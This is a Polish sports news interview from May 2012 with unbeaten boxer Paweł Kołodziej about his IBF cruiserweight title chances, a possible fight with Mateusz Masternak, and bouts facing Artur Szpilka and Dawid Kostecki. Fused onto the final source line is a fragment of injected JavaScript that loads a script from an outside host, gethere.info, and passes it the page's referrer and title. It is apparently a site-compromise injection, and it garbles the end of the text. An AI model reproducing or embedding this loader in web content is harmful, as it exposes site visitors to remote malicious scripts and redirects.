Paweł Kołodziej o Masternaku, Szpilce i Kosteckim

31.05.2012 / Paweł Kołodziej / Boks

– Jestem za blisko tytułu, żeby nie wykorzystać szansy. Jeśli będę musiał dłużej poczekać, powiedzmy nawet pół roku, nie zabraknie mi cierpliwości – mówi niepokonany pięściarz z Krynicy, Paweł Kołodziej z Trec Team (30-0, 17 KO).

– Od zwycięstwa nad Giulianem Iliem, po którym został Pan liderem rankingu IBF wagi junior ciężkiej, minęły ponad dwa miesiące. Jest Pan teraz bliżej walki o tytuł mistrza świata?
Paweł Kołodziej: Tak uważam, choć wiadomo, że boks zawodowy rządzi się swoimi prawami. Promotorzy mają różne wpływy i macki, często najpierw między nimi toczy się walka. Nieraz bardzo brutalna. Mistrzem federacji jest Kubańczyk Yoan Pablo Hernandez, pierwsza lokata jest nieobsadzona, druga pozycja należy do mnie. Mam zaufanie do swojego promotora Andrzeja Wasilewskiego, prowadzi moją karierę bardzo dobrze. Lada chwila dostanę szansę wywalczenia tytułu mistrza świata i za wszelką cenę będę chciał ją wykorzystać. (…)

– Robi się interesująco, bo za Pana plecami są Troy Ross i Mateusz Masternak.
Tak, to bardzo ciekawa sytuacja, bo mogę boksować z jednym i drugim. Być może Hernandez już na jesień da mi szansę walki, ale w przeciwnym razie pewnie zmierzę się z kimś innym. Ponieważ nieobsadzona jest pozycja numer jeden, to prawdopodobny jest tzw. eliminator. Jestem gotowy na każdy wariant, bo zaszedłem już tak daleko, że nie odpuszczę. Jestem za blisko tytułu, żeby nie wykorzystać szansy. Jeśli będę musiał dłużej poczekać, powiedzmy nawet pół roku, nie zabraknie mi cierpliwości.

– Pana pojedynek z Masternakiem byłby wydarzeniem. Bratobójcza walka o taką stawkę nieczęsto się zdarza.
Cóż, jest to nasza praca, ale walka nie do końca byłaby bratobójcza. Takim mianem nazwałbym pojedynek z którymś z chłopaków z mojej grupy, na przykład z Krzyśkiem Włodarczykiem (Trec Team) . Z Mateuszem nie mamy bliskich kontaktów, praktycznie się nie znamy.

– Teraz wielkie sprawdziany czekają Artura Szpilkę i Dawida Kosteckiego (obaj Trec Team). Wieliczanin dostanie szansę obycia się z presją, towarzyszącą walce wieczoru, a „Cygan” zmierzy się z Royem Jonesem juniorem, żywą legendą boksu…
Artur marzył, żeby wreszcie zaboksować 10 rund. Robi ogromne postępy, z treningu na trening. W ostatnich sparingach, które widziałem, praktycznie bawił się z Amerykanami w kotka i myszkę. Podłączał ich „do prądu” w poszczególnych rundach, notował niemal nokdauny na stojąco, ale odpuszczał. To świadczy, jak pewnie się czuje. Z kolei Dawid zażartował, że trafiło mu się, jak ślepej kurze ziarno i obaj zaczęliśmy się śmiać. Walka z taką legendą boksu to wielka sprawa.

Źródło: ringpolska.pl, dostęp: 31.05.2012s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;